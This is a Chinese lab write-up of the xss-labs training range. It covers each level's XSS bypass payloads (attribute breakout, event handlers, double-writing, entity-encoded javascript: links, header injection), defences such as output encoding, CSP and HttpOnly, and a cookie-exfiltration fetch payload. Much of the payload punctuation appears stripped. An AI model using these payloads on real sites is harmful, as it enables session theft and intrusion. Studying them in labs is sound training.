ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

xss-labs靶场通关实录:从XSS原理到绕过与防御实战

xss-labs靶场通关实录:从XSS原理到绕过与防御实战 XSS跨站脚本攻击是Web安全领域最常见也最常被低估的漏洞之一。我当初从零入手XSS时最先用的练习环境就是 xss-labs 这个开源靶场它把XSS从简单到复杂的绕过过程拆成20关每一关对应一种典型的服务端或前端过滤模型。这篇文章不是把答案贴一遍而是把每类关卡背后的思考方式、payload设计逻辑和我在刷题过程中踩过的坑整理出来适合刚接触XSS、准备面试或者想系统补漏洞修复思路的人。1. 先搞懂 xss-labs 到底在练什么1.1 20关分别卡在哪些点xss-labs 是 GitHub 上的一个开源项目作者把XSS的几种常见触发场景做成了20个独立关卡。每一关都是一个带有输入框或 URL 参数的页面目标很直接构造一段可执行 JavaScript 的 payload让它触发 alert 弹窗。听起来简单但它的“坑”在于每关都用了不同的过滤、转义或输出位置你必须针对当前规则重新设计 payload不能一套模板走天下。我刷完一遍后大概把20关归纳成六类第1到4关直接注入重点练引号闭合和标签闭合第5到7关关键字过滤重点练大小写、双写、事件属性第8到9关伪协议和编码绕过第10到13关隐藏参数、Referer、User-Agent、Cookie 等非常规注入点第14到16关文件上传场景、DOM型XSS、空格过滤下的特殊写法第17到20关偏综合和Flash相关环境允许的话可以体验一下。这个分类帮我建立了“遇到XSS先判断输出位置再判断过滤规则”的思维习惯。很多人刷完还是只会照着 writeup 抄 payload就是因为没有做这层归纳。1.2 练习前需要准备的环境XSS 练习必须强调一个前提只能在靶场或自己搭的测试环境里做未经授权在线上系统测试是违法的。xss-labs 完全可以本地部署不依赖外网数据流向都一目了然非常适合拆解式学习。我当时的搭建方式很简单用 phpstudy 起一个 Apache PHP 环境把 xss-labs 源码放到网站根目录浏览器直接访问对应关卡地址。另外强烈建议准备 Burp Suite 或至少熟练使用浏览器开发者工具。刷后面的请求头注入关卡时需要手动改 Referer、User-Agent、Cookie直接用浏览器地址栏改是做不到的得靠抓包工具或者写一个简单的 Python 脚本发送请求。我在第11到13关一开始死活过不去就是因为在浏览器里没法自定义请求头换成 Burp 后一分钟就解开了。每通过一关我都会在笔记里写一句话总结这一关的输出位置在哪、过滤了什么、我的绕过思路是什么。20关刷完这份笔记比任何教程都有价值。2. XSS 基础原理与测试思路2.1 三种XSS类型怎么区分很多新手刷靶场时只关心“怎么弹窗”忽略了一个根本问题当前是什么类型的XSS。其实判断类型决定了你后续的测试方向尤其在实际漏洞挖掘中非常重要。类型触发位置是否持久化测试特点反射型XSSURL参数或请求头否每次需要重新触发通常通过构造恶意链接诱导点击存储型XSS服务端存储、数据库是长期存在最危险影响所有访问用户DOM型XSS前端JavaScript操作DOM视具体逻辑而定服务端可能完全不知道payloadxss-labs 里绝大多数关卡是反射型和DOM型。反射型重点考察“参数如何被拼接到HTML里”DOM型重点考察“JavaScript如何读取URL参数并写入页面”。第15关就是典型的DOM型后面细讲。2.2 为什么同一个payload有时不生效这是刷靶场时最容易困惑的问题为什么同样的scriptalert(1)/script在第一关能弹窗到第二关就不动了核心原因是过滤发生在服务端字符串处理时而执行发生在浏览器HTML解析时两者之间存在“语义差”。服务端可以做 HTML 实体编码、黑名单删除、正则替换浏览器则有一套非常宽容的解析规则会自动纠错、自动闭合标签、自动解码。XSS绕过的本质就是利用服务端和浏览器解析之间的这些差异让过滤规则失效。举个例子服务端如果只是把script这个关键词删除一次那你提交scrscriptipt经过删除后正好还原成script。浏览器看到最终输出时不会知道你中间经历了什么它只会诚实地把标签解析出来并执行。这就是第7关“双写绕过”的原理也是理解XSS绕过的关键一步。3. 关卡实操从第1关到第20关3.1 前四关闭合引号是基本功第1关是最友好的入口。URL参数name的值直接被拼接到页面里没有做任何过滤和转义直接提交scriptalert(1)/script就能弹窗。这一关的意义在于让你确认当用户输入被当作HTML解释时script标签是默认可以执行JS的。从第2关开始“坑”就来了。查看源码你会发现输入被放在了input namekeyword value...标签的 value 属性里。如果你直接提交scriptalert(1)/script页面只会把它当作普通文本显示在输入框里不会执行因为此时输入并不在HTML标签“内部”的位置而是在一个属性值里。正确的思路是先闭合掉 value 的双引号再闭合掉 input 标签然后插入自己的标签。我常用的payload是scriptalert(1)/script这里第一个双引号负责闭合 value 属性后面的负责闭合 input 标签之后就可以自由插入新标签了。第3关的变化是把双引号做了处理但单引号没处理所以改用单引号闭合scriptalert(1)/script如果引号都被过滤了也不要慌。HTML属性本身就允许不闭合甚至可以通过事件属性来触发比如 onfocusalert(1) autofocus这个思路在第4关体现得更明显。第4关过滤掉了尖括号和被转义或替换没办法插入新标签但仍然可以闭合引号并增加事件属性。利用 autofocus 属性让输入框自动获得焦点从而触发 onfocus 事件执行代码。这类“属性注入”的方式在实际漏洞挖掘中比单纯插script标签更实用因为很多系统都会过滤尖括号但很少过滤事件属性。前四关练下来最应该形成肌肉记忆的动作是拿到一个输入点先看它的输出上下文再决定是闭合标签、闭合属性还是直接插入新标签。3.2 五到九关关键字过滤与绕过第5关开始过滤敏感标签了。此时会发现script关键词被处理掉直接插入script行不通。但XSS不只有script标签还有很多事件属性可以执行JS比如onerror、onload、onfocus等。我用的payload是img srcx onerroralert(1)img 标签加载不存在的图片时会自动触发 onerror 事件。第6关的过滤规则是区分大小写检修但它忽略了大写形式。所以把标签和事件属性混写大小写就能绕过例如ImG sRcx oNeRrOralert(1)其实在真实场景中很多黑名单都是只匹配固定字符串大小写绕过这种最基础的技巧现在仍然偶尔有效。第7关是我最印象深的一关。它会把script直接替换成空字符串而且只替换一次。于是“双写”大法登场scrscriptiptalert(1)/scr/scriptipt经过一次删除后内层的script被去掉剩下的正好拼成scriptalert(1)/script。这种思路在遇到正则替换但有次数限制的情况下非常好用。第8关是伪协议注入。页面本身是类似a href用户输入的结构你的目标是构造一个javascript:伪协议链接让用户点击后执行代码。但直接写javascript:alert(1)被拦截。这时候可以用 HTML 实体编码绕过比如把字母j编码成#106;#106;avascript:alert(1)浏览器在解析 href 属性时会先做HTML实体解码再执行伪协议所以能正常触发。第9关的过滤更刁钻它要求链接里必须包含http字样否则不执行输出。但注意这里检测的是普通字符串包含不代表伪协议里不能有其他内容。我用的是javascript:alert(1)//http:////是JavaScript的注释后面的http://只是用来通过检测不影响前面 JS 的执行。这告诉我们所谓“过滤”往往只是程序员图省事做的字符串匹配只要你理解了它的规则就有办法在规则缝隙里构造payload。3.3 十到十四关隐藏参数与请求头注入第10关开始测试思路会有一个比较大的转变注入点不一定只在地址栏的那个参数里。第10关页面只有一个输入框但查看HTML源码会发现其实有多个隐藏的 input 字段其中一个字段的 value 被服务端直接拼接了参数内容。你需要先分析源码找到这个隐藏参数名然后手动在 URL 中构造一个同名参数把payload放进去。比如源码里有个隐藏参数叫t_sort那么完整请求就是?keyword任意值t_sort onmouseoveralert(1)这里我故意不闭合标签而是靠鼠标悬停事件触发更适合那种没有自动聚焦能力的元素。第11到13关的共同点是注入点转移到了请求头。页面会把 Referer、User-Agent、Cookie 中的值直接输出到页面上没有做适当过滤。浏览器地址栏无法直接自定义这些请求头所以必须用抓包工具修改请求。例如在第11关把 Referer 改为scriptalert(1)/script页面就会把这段内容拼接到某个标签属性里并触发。第12关同理改 User-Agent第13关则要把 payload 塞进 Cookie 的某个字段。这几关体现了实际漏洞挖掘中一个很关键的思路所有到达服务端的数据都有可能成为反射点不只是URL参数。第14关是文件上传相关的XSS。常见的做法是上传一个“内容”包含 payload 的图片文件或者利用文件名中的 payload让服务端把文件名原样输出到页面。我的建议是重点去理解上传文件后文件名、文件内容、文件元数据是怎样被引用到HTML里的这对接入真实业务场景非常有帮助。不同本地环境的检测机制差异较大如果弹不出来先确认服务端是否真的读到了你控制的那段字符串。3.4 十五到二十关DOM型与更复杂的执行上下文第15关是DOM型XSS也是很多人第一次接触到“前端自身不安全”的场景。服务端几乎没有参与漏洞完全出在页面里的 JavaScript 读取了 URL 参数然后直接通过 innerHTML 或类似方式写入了 DOM。此时你只需要构造参数值让前端脚本帮你完成“写入HTML并解析”的过程即可。我印象最深的是这关用到了 AngularJS 的ng-include指令。这个指令可以动态加载模板如果可控数据进入指令的值就可能通过data:URI 等方式注入可执行内容。对我来说这一关最大的收获是意识到XSS 不只是服务端过滤不严也可能是前端框架或组件自身使用不当。第16关再给你一个“反向”训练它过滤的是空格字符。正常情况下img srcx onerroralert(1)需要空格来分隔标签名和属性一旦空格被过滤整个payload就失效。解决办法是利用浏览器HTML解析器的容错性用斜杠、Tab、换行符等字符来替代空格svg/onloadalert(1)这里用/把标签和事件属性隔开在HTML5解析规则下是可以正常触发的。以后遇到“空格都被过滤”的场景这一个技巧就够用。第17到20关通常涉及Flash和更综合的利用链现在的浏览器环境下Flash基本已经被淘汰了因此我建议把注意力放在理解思路上不必强求每一关都在本地复现。核心仍然是那句话看数据流、找出输出上下文、构造对应payload。如果你后面要打CTF会发现很多题的本质和xss-labs如出一辙。4. 常见问题与实战排查4.1 payload不执行怎么排查这是我刷xss-labs时最耗时间的一类问题。后来总结出一套排查顺序打开浏览器开发者工具看页面最终渲染出来的HTML是什么样子payload到底输出到了哪个位置对比服务端响应的原始内容确认是服务端转义了还是浏览器解析的问题尝试最小化测试先提交一个简单字符串比如probe定位它在页面中的上下文根据上下文选择闭合方式再逐步增加事件、标签等元素。很多时候payload不执行不是代码问题而是你根本没看清输出位置。比如输出在script标签内部时你要做的是先闭合/script再插入新标签输出在事件属性里时你要考虑当前标签本身是否能触发这个事件。4.2 服务端到底是“删除”还是“替换”过滤规则不同绕过方式完全不同。判断方法很简单在输入框里提交一个包含敏感词的测试串比如abcscriptdef然后看响应里是什么结果。如果变成了abcdef说明是删除可以试双写如果变成了abclt;scriptgt;def说明是HTML实体编码需要看整个输出上下文中浏览器是否会自动解码如果敏感词还在但页面没有弹窗说明可能是输出位置不对而不是被过滤。我在第7关卡了半个小时后来才发现它只是把script删了一次而不是把整个payload丢弃。很多漏洞报告里写的“存在过滤”其实是很片面的准确判断处理方式才能找到有效的绕过路径。4.3 分不清反射型、存储型和DOM型还有一种常见问题是明明在靶场里会弹窗但到了真实系统测试时完全不知道从哪里入手。这通常是因为没有先判断XSS类型。反射型需要构造一个带有恶意参数的链接诱导受害者点击存储型需要找一个能写入数据库并回显到页面的地方比如昵称、评论、留言DOM型则完全看前端的JavaScript逻辑服务端检测不到payload。xss-labs主要练的是反射型和DOM型所以刷完之后建议再找一个带用户交互场景的靶场练存储型比如自己搭一个带留言板的测试系统。这里顺便说一句CTF里的XSS考点也基本围绕这几类。ctfhub 和 iwebsec 也有对应的XSS关卡难度更贴近比赛刷完 xss-labs 之后再去打那些题会顺畅很多。5. 通关之后如何补上XSS修复课5.1 输出编码与上下文感知转义很多人刷完靶场后只记得怎么绕过却忽略了更重要的问题开发人员怎么修才能堵住这些洞。如果你要往安全测试或代码审计方向发展这部分反而更值钱。XSS修复的核心原则不是“过滤输入”而是“识别上下文并安全编码输出”。同样是用户数据出现在HTML标签内、属性内、JavaScript字符串内、URL里的转义策略各不相同。htmlspecialchars 只能覆盖一部分HTML上下文在JS字符串场景里就需要配合 json_encode 或合适的转义函数。这也就是常说的“上下文感知转义”。5.2 CSP、HttpOnly与纵深防御除了输出编码现代应用还应该启用内容安全策略仅仅允许脚本从自域加载可以大幅降低注入payload被成功执行的概率。Cookie风险也值得单独说。XSS攻击者最常做的一件事就是尝试读取document.cookie然后回传用来劫持会话。给敏感Cookie加上HttpOnly标记之后浏览器端脚本就无法直接读取这是一个投入成本极低、收益很高的安全措施。另外在开发阶段就养成给第三方库做安全扫描的习惯很多前端框架的XSS漏洞就是组件自身造成的。针对文件上传类型的XSS修复时不能只依赖MIME类型判断必须把上传文件名做随机化和后缀白名单处理同时保证文件服务响应头里设置Content-Disposition和X-Content-Type-Options: nosniff。现在很多低代码平台的表单设计器也有XSS风险因为动态渲染模板时会把用户配置当成HTML解析。这类场景更需要在前端渲染前做到默认转义、按需白名单而不是信任“输入来源来自后台”这个假设。5.3 从“会弹窗”到“懂防护”我自己刷完 xss-labs 后最深的感受是弹窗只是开始真正有价值的是能反过来做修复、能给产品提出可落地的安全方案。面试也好实际工作也好能讲清楚为什么innerHTML有风险、为什么应该用textContent或createTextNode比单纯背下来一百个payload有用得多。6. 我的几条实战心得最后分享几个我练这一路积累下的习惯也算是一些“非标准答案”.第一刷靶场时一定要给自己建一份“绕过速查表”。把每次成功的关键因素记下来比如“输出在属性值里优先闭合引号”“过滤script可以试试双写”“空格被过滤就用斜杠或换行”。这份表会在你以后做渗透测试时提供很大的帮助。第二不要只满足于弹窗。把 alert 换成scriptfetch(http://127.0.0.1/collect?cdocument.cookie)/script这种带外请求的payload测试一下你会对XSS的危害有更直观的认知也能理解为什么企业的WAF都在重点拦截这类特征。第三遇到新版浏览器拦截的情况先别急着怀疑payload不对。Chrome的XSS Auditor曾经会自动拦截很多反射型XSS有些靶场在新浏览器上不弹窗不代表方法错了。换Firefox旧版或者调整环境配置再试很多问题其实出在浏览器策略上。xss-labs是一个入门门槛低、天花板却不低的靶场我每次带新人入门都会推荐它。希望这篇整理能让你少走一点弯路也帮你建立起属于自己的“XSS测试方法论”。
返回列表